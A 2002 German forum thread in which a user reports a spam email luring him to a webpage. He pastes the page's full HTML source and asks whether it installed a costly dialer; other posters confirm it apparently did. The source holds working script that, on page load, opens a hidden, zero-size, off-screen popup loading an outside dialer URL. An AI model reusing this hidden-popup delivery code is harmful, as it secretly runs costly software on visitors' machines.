Gemeinen Dailer entdeckt!!!!

A

Anonymous

Sehr geehrte Damen und Herren!

Ich glaube ich habe einen sehr gemeinen Dialer-Link entdeckt!
Das ganze begann so:
Ich erhielt folgende E-Mail: (Der Adressant ist mir nicht bekannt!!)

------------------------------------------------------------------------------------------------------------------
-----Ursprüngliche Nachricht-----
Von: julia2584 @ aemail4u.com [mailto:[email protected]]
Gesendet: Samstag, 12. Oktober 2002 22:06
An: Undisclosed Recipients
Betreff: wie geht's dir.. K




hallo

endlich habe ich deine Eemail adresse wieder gefunden, dass hat aber lannge gedauert :-)
ich hoffe, du kennst mich ueberhaupt noch.

naja, jedenfalls habe ich jetzt endlich meine eigene homepage, h**p://www.xpshort.com/susimano/seite.htm !

kannst sie dir mal angucken und sagen wie du sie findest.

kuesschen
claudia

.
.
.

ps: ups!? habe ich den falschen erwischt?
h**p://www.xpshort.com/remove.htm dann klicke einfach hier und wir sehen uns nicht wieder :-))
------------------------------------------------------------------------------------------------------------------

So, daß war die an mich adressierte E-Mail!!!
Aus leichtem Unsinn öffnete ich diesen Link h**p://www.xpshort.com/susimano/seite.htm !!
Es wurden zwei InternetExplorer-Fenster geöffnet!
Und daraufhin öffnete sich auch noch so ein kleines
Popup-Fenster mit ein paar englischen Begriffen (weiß sie leider nicht mehr)!!!!
Auf jeden Fall konnte man nur "OK" oder eben "oben rechts (X)" das
Fenster schliessen!! Ich habe darauf hin aber "Strg+Alt+Entf" gedrückt
und die zwei sinnlosen Fenster mit dem "Task-Manager" geschlossen!!
Als ich dann wieder offline war, habe ich mir die Site nochmal
angeguckt - jetzt ließ sich aber nur ein InternetExplorer-Fenster öffnen
und es kam auch nicht mehr das kleine Popup-Fenster!!!
Nun habe ich noch das wichtigste für Sie --> den Quelltext des InternetExplorer-Fensters!!

-----------------------------------------------------------------------------------------------------------------
Code: 
<html>
<head>

<title>ses|d:104116120045051055054|099102102055051|050</title>
<script>

// Amazing Frameless Popup Window - Version I
// (C) 2000 [url]www.CodeLifter.com[/url]
// Free for all users, but leave in this  header

// set the popup window width and height

var windowW=0 // wide
var windowH=0 // high

// set the screen position where the popup should appear

var windowX = 800 // from left
var windowY = -2000 // from top

// set the url of the page to show in the popup

var urlPop = "http://dial.interfungmbh.de/activeurl.php?url=http://www.url.de&id=376&show=false&popup=true"

// set the title of the page

var title =  "ses|d:104116120045051055054|099102102055051|050"

// set this to true if the popup should close
// upon leaving the launching page; else, false

var autoclose = false

// ============================
// do not edit below this line
// ============================

s = "width="+windowW+",height="+windowH;
var beIE = document.all?true:false

function openFrameless(){
  if (beIE){
    NFW = window.open("","popFrameless","fullscreen,"+s)     
    NFW.blur()
    window.focus()       
    NFW.resizeTo(windowW,windowH)
    NFW.moveTo(windowX,windowY)
    var frameString=""+
"<html>"+
"<head>"+
"<title>"+title+"</title>"+
"</head>"+
"<frameset rows='*,0' framespacing=0 border=0 frameborder=0>"+
"<frame name='top' src='"+urlPop+"' scrolling=auto>"+
"<frame name='bottom' src='about:blank' scrolling='no'>"+
"</frameset>"+
"</html>"
    NFW.document.open();
    NFW.document.write(frameString)
    NFW.document.close()
  } else {
    NFW=window.open(urlPop,"popFrameless","scrollbars,"+s)
    NFW.blur()
    window.focus() 
    NFW.resizeTo(windowW,windowH)
    NFW.moveTo(windowX,windowY)
  }   
  NFW.focus()   
  if (autoclose){
    window.onunload = function(){NFW.close()}
  }
}

</script>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body onload="openFrameless()"  bgcolor="#FFFF00" text="#FF0000" link="#FF0000" vlink="#FF0000" alink="#FF0000">


</p>


 
<table width="555" border="2" cellspacing="0" cellpadding="5" align="center">
  <tr> 
    <td valign="middle" align="center" bgcolor="#CCCCCC"><font size="3" color="#FF0000" face="Arial, Helvetica, sans-serif">[img]images/ambermovie.jpg[/img]

      [img]/error.gif[/img] </font></td>
    <td> 
      

<font color="#CC3300" size="3" face="Courier New, Courier, mono">[b]Hall&ouml;chen[/b]</font></p>
      

<font color="#CC3300" size="3" face="Courier New, Courier, mono">Hier 
        bin ich! Bitte die Cam voll anzeigen lassen.

        Beim Problemen die Seite einfach aktualisieren...</font></p>
      

<font color="#CC3300" size="3" face="Courier New, Courier, mono">Ich 
        freue mich auf dich - K&uuml;sschen</font></p>
    </td>
  </tr>
</table>


 


</p>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------------

So nun ist mir nur etwas sehr außergewöhnliches an diesem Quelltext aufgefallen
und zwar in der 23.Zeile ist eine sehr ominöse Internet-Adresse!!!

Und nun meine Frage:
Können Sie vielleicht herausfinden ob es sich da um einen Dialer-Link handelt???
Und die zweite !!WICHTIGE!! habe ich ihn nun auf meinem PC????????


Ich wäre sehr dankbar wenn Sie mir weiterhelfen könnten!!!

Mit freundlichen Grüssen

Sammy

--
Link entlinkt - Heiko
 
Ach ja...wenn die Mail von Julia schon mit Claudia unterschrieben ist...Aber das hast Du ja jetzt selbst mitbekommen.
((= "http://dial.interfungmbh.de/activeurl.php?)) --> Also wenn das nicht der Standard-Dialer der Interfun GmbH ist...
Die Wahrscheinlichkeit liegt nahe 100%, dass der Dialer für die Schmuddel-Cam jetzt auf Deinem Rechner ist.
Also, click mal oben auf Suche und gib als Suchbegriff Interfun ein. Du wirst viele interessante Sachen zu dieser Truppe finden.


Gruss Frank
 
Zurück
Oben